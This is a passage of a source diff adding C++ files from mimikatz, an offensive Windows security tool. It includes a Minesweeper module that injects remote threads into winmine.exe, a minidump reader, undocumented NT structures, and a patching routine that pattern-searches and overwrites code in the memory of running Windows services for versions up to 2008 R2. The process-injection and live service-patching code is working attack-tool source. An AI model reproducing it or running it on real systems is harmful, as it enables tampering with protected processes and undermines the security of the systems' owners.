startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrResume));
return true;
}
bool mod_mimikatz_winmine::start(vector<wstring> * arguments)
{
startThreadAt(FIELD_OFFSET(structHandleAndAddr, addrStart));
return true;
}
bool mod_mimikatz_winmine::startThreadAt(unsigned long structOffset)
{
bool reussite = false;
structHandleAndAddr * maStruct = new structHandleAndAddr();
if(giveHandleAndAddr(maStruct))
{
if (HANDLE hRemoteThread = CreateRemoteThread(maStruct->hWinmine, NULL, 0, *reinterpret_cast<PTHREAD_START_ROUTINE *>(reinterpret_cast<PBYTE>(maStruct) + structOffset), NULL, 0, NULL))
{
reussite = true;
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
}
}
delete maStruct;
return reussite;
}
bool mod_mimikatz_winmine::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr)
{
BYTE patternStartGame[] = {0x6a, 0x04, 0xeb, 0x02, 0x6a, 0x06, 0x5b, 0xa3};
BYTE patternPause[] = {0x02, 0x75, 0x0a, 0xa1};
BYTE patternReprise[] = {0x01, 0x74, 0x0a, 0xa1};
BYTE patternStart[] = {0x53, 0x56, 0x57, 0x33, 0xff, 0x3b, 0x05};
RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr));
wstring nomDemineur(L"winmine.exe");
mod_process::KIWI_PROCESSENTRY32 monDemineur;
if(mod_process::getUniqueForName(&monDemineur, &nomDemineur))
{
monHandleAndAddr->pidWinmine = monDemineur.th32ProcessID;
mod_process::KIWI_MODULEENTRY32 monModule;
if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID))
{
PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL;
if(monHandleAndAddr->hWinmine = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, monDemineur.th32ProcessID))
{
if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStartGame, &ptrTemp, sizeof(patternStartGame), true, monHandleAndAddr->hWinmine))
if(mod_memory::readMemory(ptrTemp + sizeof(patternStartGame), &ptrTemp, sizeof(ULONG), monHandleAndAddr->hWinmine)) // high bits of ptrTemp are already at 00000000
monHandleAndAddr->addrMonDemineur = reinterpret_cast<structMonDemineur *>(ptrTemp - sizeof(ULONG));
if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternPause, &ptrTemp, sizeof(patternPause), true, monHandleAndAddr->hWinmine))
monHandleAndAddr->addrPause = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 11);
if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternReprise, &ptrTemp, sizeof(patternReprise), true, monHandleAndAddr->hWinmine))
monHandleAndAddr->addrResume = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 6);
if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStart, &ptrTemp, sizeof(patternStart), true, monHandleAndAddr->hWinmine))
monHandleAndAddr->addrStart = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 11);
}
}
}
bool reussite = monHandleAndAddr->hWinmine && monHandleAndAddr->addrMonDemineur && monHandleAndAddr->addrStart && monHandleAndAddr->addrPause && monHandleAndAddr->addrResume;
if(!reussite && monHandleAndAddr->hWinmine)
CloseHandle(monHandleAndAddr->hWinmine);
return reussite;
}

View File

@ -0,0 +1,45 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_process.h"
#include "mod_memory.h"
#include "mod_windows.h"
#include <iostream>
class mod_mimikatz_winmine
{
private:
typedef struct structMonDemineur{
DWORD32 nbMines;
DWORD32 longueur;
DWORD32 hauteur;
DWORD32 alignOffset;
BYTE tabMines[26][32];
} structMonDemineur;
typedef struct structHandleAndAddr{
HANDLE hWinmine;
DWORD pidWinmine;
structMonDemineur * addrMonDemineur;
PTHREAD_START_ROUTINE addrPause;
PTHREAD_START_ROUTINE addrResume;
PTHREAD_START_ROUTINE addrStart;
} structHandleAndAddr;
static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr);
static bool startThreadAt(unsigned long structOffset);
static bool infosOrCheat(vector<wstring> * arguments, bool cheat = false);
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool infos(vector<wstring> * arguments);
static bool start(vector<wstring> * arguments);
static bool pause(vector<wstring> * arguments);
static bool reprise(vector<wstring> * arguments);
static bool cheat(vector<wstring> * arguments);
};

View File

@ -0,0 +1,163 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_minidump.h"
mod_minidump::mod_minidump() : monFichier(NULL), monFileMapping(NULL), mesDonnees(NULL)
{
}
mod_minidump::~mod_minidump(void)
{
if(mesDonnees)
UnmapViewOfFile(mesDonnees);
if(monFileMapping)
CloseHandle(monFileMapping);
if(monFichier)
CloseHandle(monFichier);
}
LPVOID mod_minidump::RVAtoPTR(RVA monRVA)
{
return reinterpret_cast<PBYTE>(mesDonnees) + monRVA;
}
bool mod_minidump::open(wchar_t * filename)
{
bool resultat = false;
if(monFichier = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL))
if(monFileMapping = CreateFileMapping(monFichier, NULL, PAGE_READONLY, 0, 0, NULL))
if(mesDonnees = MapViewOfFile(monFileMapping, FILE_MAP_READ, 0, 0, 0))
resultat = (reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Signature == MINIDUMP_SIGNATURE) && (static_cast<WORD>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Version) == MINIDUMP_VERSION);
return resultat;
}
MINIDUMP_TYPE mod_minidump::getFlags()
{
return static_cast<MINIDUMP_TYPE>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Flags);
}
const wchar_t *FlagsString[] = {
L"MiniDumpNormal",
L"MiniDumpWithDataSegs",
L"MiniDumpWithFullMemory",
L"MiniDumpWithHandleData",
L"MiniDumpFilterMemory",
L"MiniDumpScanMemory",
L"MiniDumpWithUnloadedModules",
L"MiniDumpWithIndirectlyReferencedMemory",
L"MiniDumpFilterModulePaths",
L"MiniDumpWithProcessThreadData",
L"MiniDumpWithPrivateReadWriteMemory",
L"MiniDumpWithoutOptionalData",
L"MiniDumpWithFullMemoryInfo",
L"MiniDumpWithThreadInfo",
L"MiniDumpWithCodeSegs",
L"MiniDumpWithoutAuxiliaryState",
L"MiniDumpWithFullAuxiliaryState",
L"MiniDumpWithPrivateWriteCopyMemory",
L"MiniDumpIgnoreInaccessibleMemory",
L"MiniDumpWithTokenInformation"
};
bool mod_minidump::FlagsToStrings(vector<wstring> * monVecteur)
{
return FlagsToStrings(getFlags(), monVecteur);
}
bool mod_minidump::FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur)
{
bool resultat = false;
if(!Flags)
{
monVecteur->push_back(FlagsString[0]);
resultat = true;
}
else if(Flags & MiniDumpValidTypeFlags)
{
DWORD shift, i;
for(shift = MiniDumpWithDataSegs, i = 1; shift <= MiniDumpWithTokenInformation; shift<<=1, i++)
{
if((Flags & shift) == shift)
monVecteur->push_back(FlagsString[i]);
}
resultat = true;
}
return resultat;
}
LPVOID mod_minidump::getStream(MINIDUMP_STREAM_TYPE type)
{
PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva));
for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; i++)
{
if(mesRepertoires[i].StreamType == type)
return RVAtoPTR(mesRepertoires[i].Location.Rva);
}
return NULL;
}
PMINIDUMP_MODULE mod_minidump::getMinidumpModule(wstring & nomModule)
{
if(PMINIDUMP_MODULE_LIST monObject = reinterpret_cast<PMINIDUMP_MODULE_LIST>(getStream(ModuleListStream)))
{
for(DWORD i = 0; i < monObject->NumberOfModules; i++)
{
PMINIDUMP_MODULE monModule = &monObject->Modules[i];
PMINIDUMP_STRING monModuleString = reinterpret_cast<PMINIDUMP_STRING>(RVAtoPTR(monObject->Modules[i].ModuleNameRva));
if(mod_text::wstr_ends_with(monModuleString->Buffer, monModuleString->Length / sizeof(wchar_t), nomModule.c_str(), nomModule.size()))
return monModule;
}
}
return NULL;
}
bool mod_minidump::getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur)
{
PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva));
for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; monVecteur->push_back(&mesRepertoires[i++]));
return true;
}
const wchar_t *StreamTypeString[] = {
L"UnusedStream",
L"ReservedStream0",
L"ReservedStream1",
L"ThreadListStream",
L"ModuleListStream",
L"MemoryListStream",
L"ExceptionStream",
L"SystemInfoStream",
L"ThreadExListStream",
L"Memory64ListStream",
L"CommentStreamA",
L"CommentStreamW",
L"HandleDataStream",
L"FunctionTableStream",
L"UnloadedModuleListStream",
L"MiscInfoStream",
L"MemoryInfoListStream",
L"ThreadInfoListStream",
L"HandleOperationListStream",
L"TokenStream"
};
wstring mod_minidump::StreamTypeToString(MINIDUMP_STREAM_TYPE monType)
{
if(monType <= TokenStream)
return StreamTypeString[monType];
else
{
wostringstream monStream;
monStream << L"Inconnu (" << monType << L")";
return monStream.str();
}
}

View File

@ -0,0 +1,33 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include <dbghelp.h>
#include "mod_text.h"
class mod_minidump
{
private:
HANDLE monFichier, monFileMapping;
LPVOID mesDonnees;
public:
mod_minidump();
virtual ~mod_minidump(void);
LPVOID RVAtoPTR(RVA monRVA);
bool open(wchar_t * filename);
LPVOID getStream(MINIDUMP_STREAM_TYPE type);
PMINIDUMP_MODULE getMinidumpModule(wstring & nomModule);
bool getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur);
MINIDUMP_TYPE getFlags();
bool FlagsToStrings(vector<wstring> * monVecteur);
static wstring StreamTypeToString(MINIDUMP_STREAM_TYPE monType);
static bool FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur);
};

View File

@ -0,0 +1,321 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include <windows.h>
#include <ntsecapi.h>
typedef LONG KPRIORITY;
typedef void** PPVOID;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemNextEventIdInformation,
SystemEventIdsInformation,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemPlugPlayBusInformation,
SystemDockInformation,
KIWI_SystemPowerInformation,
SystemProcessorSpeedInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation,
KIWI_SystemMmSystemRangeStart = 50
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation,
ObjectNameInformation,
ObjectTypeInformation,
ObjectAllInformation,
ObjectDataInformation
} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;
typedef enum _PROCESSINFOCLASS {
ProcessBasicInformation,
ProcessQuotaLimits,
ProcessIoCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort,
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDefaultHardErrorMode,
ProcessIoPortHandlers, // Note: this is kernel mode only
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
ProcessDeviceMap,
ProcessSessionInformation,
ProcessForegroundInformation,
ProcessWow64Information,
ProcessImageFileName,
ProcessLUIDDeviceMapsEnabled,
ProcessBreakOnTermination,
ProcessDebugObjectHandle,
ProcessDebugFlags,
ProcessHandleTracing,
ProcessIoPriority,
ProcessExecuteFlags,
ProcessTlsInformation,
ProcessCookie,
ProcessImageInformation,
ProcessCycleTime,
ProcessPagePriority,
ProcessInstrumentationCallback,
ProcessThreadStackAllocation,
ProcessWorkingSetWatchEx,
ProcessImageFileNameWin32,
ProcessImageFileMapping,
ProcessAffinityUpdateMode,
ProcessMemoryAllocationMode,
ProcessGroupInformation,
ProcessTokenVirtualizationEnabled,
ProcessConsoleHostProcess,
ProcessWindowInformation,
MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum
} PROCESSINFOCLASS;
typedef enum _POOL_TYPE
{
NonPagedPool,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS
} POOL_TYPE, *PPOOL_TYPE;
typedef struct _PROCESS_SESSION_INFORMATION {
ULONG SessionId;
} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION;
typedef struct _PROCESS_ACCESS_TOKEN {
HANDLE Token;
HANDLE Thread;
} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;
typedef struct _OBJECT_TYPE_INFORMATION
{
UNICODE_STRING Name;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccess;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
USHORT MaintainTypeList;
POOL_TYPE PoolType;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
typedef struct ___LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
DWORD EntryPointActivationContext; //_ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} __LDR_DATA_TABLE_ENTRY, *_PLDR_DATA_TABLE_ENTRY;
typedef struct ___PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModulevector;
LIST_ENTRY InMemoryOrderModulevector;
LIST_ENTRY InInitializationOrderModulevector;
} __PEB_LDR_DATA, *__PPEB_LDR_DATA;
typedef struct ___PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
__PPEB_LDR_DATA LoaderData;
PVOID ProcessParameters; //PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine; //PPEBLOCKROUTINE FastPebLockRoutine;
PVOID FastPebUnlockRoutine; //PPEBLOCKROUTINE FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PPVOID KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
DWORD Freevector; //PPEB_FREE_BLOCK Freevector;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PPVOID ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PPVOID *ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributevector;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, *PPEB;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION {
SIZE_T Size; // Must be set to structure size on input
PROCESS_BASIC_INFORMATION BasicInfo;
union {
ULONG Flags;
struct {
ULONG IsProtectedProcess : 1;
ULONG IsWow64Process : 1;
ULONG IsProcessDeleting : 1;
ULONG IsCrossSessionCreate : 1;
ULONG SpareBits : 28;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION;
typedef struct _SYSTEM_HANDLE
{
DWORD ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
DWORD HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef NTSTATUS (WINAPI * PNT_QUERY_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out_opt PULONG ReturnLength);
typedef NTSTATUS (WINAPI * PNT_SET_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in PVOID ProcessInformation, __in ULONG ProcessInformationLength);
typedef NTSTATUS (WINAPI * PNT_SUSPEND_PROCESS) (__in HANDLE ProcessHandle);
typedef NTSTATUS (WINAPI * PNT_RESUME_PROCESS) (__in HANDLE ProcessHandle);
typedef NTSTATUS (WINAPI * PNT_QUERY_SYSTEM_INFORMATION) (__in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength);
typedef NTSTATUS (WINAPI * PNT_QUERY_OBJECT) (__in_opt HANDLE Handle, __in OBJECT_INFORMATION_CLASS ObjectInformationClass, __out_opt PVOID ObjectInformation, __in ULONG ObjectInformationLength, __out_opt PULONG ReturnLength);
typedef NTSTATUS (WINAPI * PNT_FILTER_TOKEN) (__in HANDLE ExistingTokenHandle, __in ULONG Flags, __in PTOKEN_GROUPS SidsToDisable, __in PTOKEN_PRIVILEGES PrivilegeToDelete, __in PTOKEN_GROUPS SidsToRestricted, __out PHANDLE NewTokenHandle);

View File

@ -0,0 +1,38 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_parseur.h"
vector<wstring> mod_parseur::parse(const wstring & line)
{
vector<wstring> result;
wstring item;
wstringstream ss(line);
while(ss >> item)
{
if (item[0] == L'"')
{
if (item[item.length() - 1] == L'"')
{
result.push_back(item.substr(1, item.length() -2));
}
else
{
wstring restOfItem;
getline(ss, restOfItem, L'"');
result.push_back(item.substr(1) + restOfItem);
}
}
else
{
result.push_back(item);
}
}
return result;
}

View File

@ -0,0 +1,15 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include <sstream>
class mod_parseur
{
public:
static vector<wstring> parse(const wstring & line);
};

View File

@ -0,0 +1,145 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_patch.h"
bool mod_patch::patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace)
{
bool reussite = false;
mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
if(mod_service::getUniqueForName(&monService, &serviceName))
{
if(monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOPPED && monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOP_PENDING)
{
wcout << L"Service : " << monService.serviceDisplayName << endl;
reussite = patchModuleOfPID(monService.ServiceStatusProcess.dwProcessId, moduleName, patternToSearch, szPatternToSearch, patternToPlace, szPatternToPlace, offsetForPlace);
}
else wcout << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air très actif" << endl;
}
else wcout << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl;
return reussite;
}
bool mod_patch::patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace)
{
bool reussite = false;
mod_process::KIWI_MODULEENTRY32 monModule;
if(mod_process::getUniqueModuleForName(&monModule, (moduleName.empty() ? NULL : &moduleName), &pid))
{
BYTE * baseAddr = monModule.modBaseAddr;
DWORD taille = monModule.modBaseSize;
if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid))
{
wcout << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl;
BYTE * addrPattern = NULL;
if(mod_memory::searchMemory(baseAddr, baseAddr + taille, patternToSearch, &addrPattern, szPatternToSearch, true, processHandle))
{
reussite = mod_memory::writeMemory(addrPattern + offsetForPlace, patternToPlace, szPatternToPlace, processHandle);
wcout << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl;
}
else wcout << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
CloseHandle(processHandle);
}
else wcout << L"OpenProcess : " << mod_system::getWinError() << endl;
}
else wcout << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl;
return reussite;
}
bool mod_patch::getFullVersion(DWORD * majorVersion, DWORD * minorVersion, DWORD * build, bool * isServer, bool * is64)
{
bool reussite = false;
OSVERSIONINFOEX maVersion;
if(reussite = mod_system::getVersion(&maVersion))
{
if(majorVersion) *majorVersion = maVersion.dwMajorVersion;
if(majorVersion) *minorVersion = maVersion.dwMinorVersion;
if(build) *build = maVersion.dwBuildNumber;
if(isServer) *isServer = maVersion.wProductType != VER_NT_WORKSTATION;
if(is64)
{
SYSTEM_INFO mesInfos;
GetNativeSystemInfo(&mesInfos);
*is64 = (mesInfos.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64);
}
}
return reussite;
}
bool mod_patch::checkVersion(KIWI_OS_CHECK * monOsValide)
{
bool reussite = false;
DWORD majorVersion, minorVersion, build;
bool isServer, is64;
if(getFullVersion(&majorVersion, &minorVersion, &build, &isServer, &is64))
{
reussite =
(monOsValide->majorVersion == majorVersion) &&
(monOsValide->minorVersion == minorVersion) &&
((monOsValide->build == build) || (monOsValide->build == 0)) &&
(monOsValide->isServer == isServer) &&
(monOsValide->is64 == is64)
;
}
else wcout << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl;
return reussite;
}
bool mod_patch::checkVersion(OS monOsValide)
{
KIWI_OS_CHECK kOs;
switch(monOsValide)
{
case WINDOWS_2000_PRO_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
case WINDOWS_2000_SRV_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break;
case WINDOWS_XP_PRO___x86: kOs.majorVersion = 5; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
case WINDOWS_XP_PRO___x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break;
case WINDOWS_2003_____x86: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break;
case WINDOWS_2003_____x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break;
case WINDOWS_VISTA____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
case WINDOWS_VISTA____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break;
case WINDOWS_2008_____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break;
case WINDOWS_2008_____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break;
case WINDOWS_SEVEN____x86: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break;
case WINDOWS_SEVEN____x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break;
case WINDOWS_2008r2___x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break;
}
return checkVersion(&kOs);
}
bool mod_patch::checkVersion(vector<OS> * vectorValid)
{
bool reussite = false;
for(vector<OS>::iterator monOs = vectorValid->begin(); monOs != vectorValid->end() && !reussite; monOs++)
{
reussite = checkVersion(*monOs);
}
if(!reussite)
wcout << L"La version du système d\'exploitation actuelle n\'est pas supportée par cette fonction." << endl;
return reussite;
}

View File

@ -0,0 +1,57 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_system.h"
#include "mod_process.h"
#include "mod_memory.h"
#include "mod_service.h"
#include <iostream>
class mod_patch
{
public:
typedef struct _KIWI_OS_CHECK
{
DWORD majorVersion;
DWORD minorVersion;
DWORD build;
bool isServer;
bool is64;
} KIWI_OS_CHECK, *PKIWI_OS_CHECK;
enum OS
{
WINDOWS_2000_PRO_x86,
WINDOWS_2000_SRV_x86,
WINDOWS_XP_PRO___x86,
WINDOWS_XP_PRO___x64,
WINDOWS_2003_____x86,
WINDOWS_2003_____x64,
WINDOWS_VISTA____x86,
WINDOWS_VISTA____x64,
WINDOWS_2008_____x86,
WINDOWS_2008_____x64,
WINDOWS_SEVEN____x86,
WINDOWS_SEVEN____x64,
WINDOWS_2008r2___x64,
WINDOWS_8________x86,
WINDOWS_8________x64,
WINDOWS_8_SERVER_x64
};
